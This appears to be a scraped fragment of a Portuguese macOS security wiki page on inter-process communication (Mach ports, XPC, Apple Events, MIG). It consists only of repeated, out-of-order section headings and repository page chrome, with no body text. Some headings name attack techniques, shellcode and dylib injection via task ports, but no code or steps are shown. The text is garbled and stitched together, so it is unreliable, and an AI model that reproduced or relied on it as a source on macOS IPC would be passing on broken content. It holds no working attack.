{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %} macos-mig-mach-interface-generator.md {% endcontent-ref %}

Referências

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39 KiB Raw Blame History

macOS IPC - Comunicação entre Processos

Mensagens Mach via Portas

Informações Básicas

Direitos de Porta

Portas de Arquivo

Estabelecendo uma comunicação

Etapas:

Uma Mensagem Mach

Enumerar portas

Exemplo de código

macOS IPC - Comunicação entre Processos

Introdução

Apple Events

XPC

IPC baseado em porta

Conclusão

Portas Privilegiadas

Injeção de Shellcode em thread via Porta da Tarefa

macOS IPC (Comunicação entre Processos)

Introdução

Notificações por Push

Apple Events

XPC

IPC baseado em porta

Conclusão

Injeção de Dylib em thread via porta de Tarefa

XPC

Informações Básicas

MIG - Gerador de Interface Mach

Referências

39 KiB

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